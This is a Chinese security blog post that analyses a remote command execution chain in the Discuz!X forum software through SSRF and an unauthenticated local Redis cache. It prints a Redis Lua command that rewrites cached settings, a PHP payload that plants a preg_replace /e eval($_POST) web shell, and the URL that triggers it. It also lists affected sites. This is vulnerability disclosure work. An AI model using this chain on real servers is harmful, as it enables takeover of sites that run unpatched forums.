首页 > 安全研究
discuzx某远程命令执行漏洞分析
2016/06/15 15:22发布

0x00 简介

Discuz!X是康盛公司(Comsenz)推出的一个以社区为基础的专业建站平台,让论坛(BBS)、社交网络(SNS)、门户(Portal)、群组(Group)、开放平台(Open Platform)应用充分融合于一体,帮助网站实现一站式服务。

0x01 前言

漏洞详细已经通过乌云提交给官方。

http://www.wooyun.org/bugs/wooyun-2016-0214429

http://www.wooyun.org/bugs/wooyun-2016-0213982

0x02 漏洞简述

discuz!X支持多种缓存方式,如:文件缓存(基本不用)、数据缓存(默认方式)、第三方缓存(memcache、redis)。通常较高访问量的系统会采用第三方缓存的方式,即使用memcache、redis等方式。而memcache、redis等通用情况下会安装到本地,即127.0.0.1,并且大多数情况下没有身份验证。结合discuz!X 自身存在的ssrf,即可能存在命令执行(本漏洞针对的是discuz!X本身,而非ssrf)。

0x03 漏洞详细

当discuz设置使用缓存后,初始化时会把缓存内容加进全局变量 $_G

source\class\discuz\discuz_application.php

private function _init_setting() {
    if($this->init_setting) {

        if(empty($this->var['setting'])) {
            $this->cachelist[] = 'setting';
        }

        if(empty($this->var['style'])) {
            $this->cachelist[] = 'style_default';
        }

        if(!isset($this->var['cache']['cronnextrun'])) {
            $this->cachelist[] = 'cronnextrun';
        }
    }

    !empty($this->cachelist) && loadcache($this->cachelist);

    if(!is_array($this->var['setting'])) {
        $this->var['setting'] = array();
    }
}

而在调用缓存的地方

source\function\function_core.php

function output_replace($content) {
    global $_G;

    if(defined('IN_MODCP') || defined('IN_ADMINCP')) return $content;

    if(!empty($_G['setting']['output']['str']['search'])) {

        if(empty($_G['setting']['domain']['app']['default'])) {
            $_G['setting']['output']['str']['replace'] = str_replace('{CURHOST}', $_G['siteurl'], $_G['setting']['output']['str']['replace']);
        }

        $content = str_replace($_G['setting']['output']['str']['search'], $_G['setting']['output']['str']['replace'], $content);

    }

    if(!empty($_G['setting']['output']['preg']['search']) && (empty($_G['setting']['rewriteguest']) || empty($_G['uid']))) {

        if(empty($_G['setting']['domain']['app']['default'])) {

            $_G['setting']['output']['preg']['search'] = str_replace('\{CURHOST\}', preg_quote($_G['siteurl'], '/'), $_G['setting']['output']['preg']['search']);

            $_G['setting']['output']['preg']['replace'] = str_replace('{CURHOST}', $_G['siteurl'], $_G['setting']['output']['preg']['replace']);
        }

        $content = preg_replace($_G['setting']['output']['preg']['search'], $_G['setting']['output']['preg']['replace'], $content);
    }

    return $content;
}

可以看出,$_G[‘setting’][‘output’][‘preg’][‘search’]、$_G[‘setting’][‘output’][‘preg’][‘replace’]这两个缓存可控,因此通过更改缓存内容就可以造成getshell。

而更改缓存内容,需要利用dz的ssrf,而dz并没有注重ssrf,如前一个 WooYun: Discuz!另一处SSRF无须登陆无须条件 ,好像也没有修复,并且还存在其它ssrf等。

现在主要是缓存前辍的问题,下面来看看如何绕过。

0x04 漏洞利用

memcache 的利用可以参考 WooYun: bilibili某分站从信息泄露到ssrf再到命令执行 ,不过前提条件是知道prefix,所以我们来说说redis。

redis 从2.6开始就支持lua命令,并且key可以模糊查找,因此,我们可以通过下面方式来重设缓存值。
eval “local t=redis.call(‘keys’,’*_setting’);for i,v in ipairs(t) do redis.call(‘set’,v,’aaaa’) end;return 1;” 0
设置方式不需要知道key前辍就能更改。

因为我们只需要通过ssrf 更改$_G[‘setting’][‘output’][‘preg’][‘search’]和 $_G[‘setting’][‘output’][‘preg’][‘replace’]的值,就能达到命令执行的目的。

默认情况下,discuz的ssrf会调用curl请求,因此会支持gopher或dict协议,而这两条协议对于redis的值设置已经足够了。

通过设置(测试代码,实际中是能过ssrf对内容进行更改)
$a[‘output’][‘preg’][‘search’][‘plugins’] = “/.*/e”;

$a[‘output’][‘preg’][‘replace’][‘plugins’] = ‘ev/aliyun真牛B/al($_POST[x]);’;

$setting = serialize($a);

$redis = new Redis();

$redis->connect(‘127.0.0.1’, 6379);

$redis->set(“xx_setting”,$setting);

访问http://127.0.0.1/forum.php?mod=ajax&inajax=yes&action=getthreadtypes即是shell的地址。
整个过程中不需要注册用户,需要条件如下:

1、本机安装了redis(>2.6),discuz设置了本机的redis缓存

2、系统支持php-curl(默认情况下都是支持的)

达到这两个条件就可以了。

0x05 漏洞案例

bilibili某分站从信息泄露到ssrf再到命令执行

http://www.wooyun.org/bugs/wooyun-2010-0213982

金蝶某系统存在远程命令执行

http://www.wooyun.org/bugs/wooyun-2010-0214436

优酷某程序存在远程命令执行

http://www.wooyun.org/bugs/wooyun-2010-0214443

电视猫某应用远程命令执行

http://www.wooyun.org/bugs/wooyun-2010-0214464

0x06 漏洞相关阅读

vBulletin rce 0day分析(http://drops.wooyun.org/papers/8261)

文章分享到: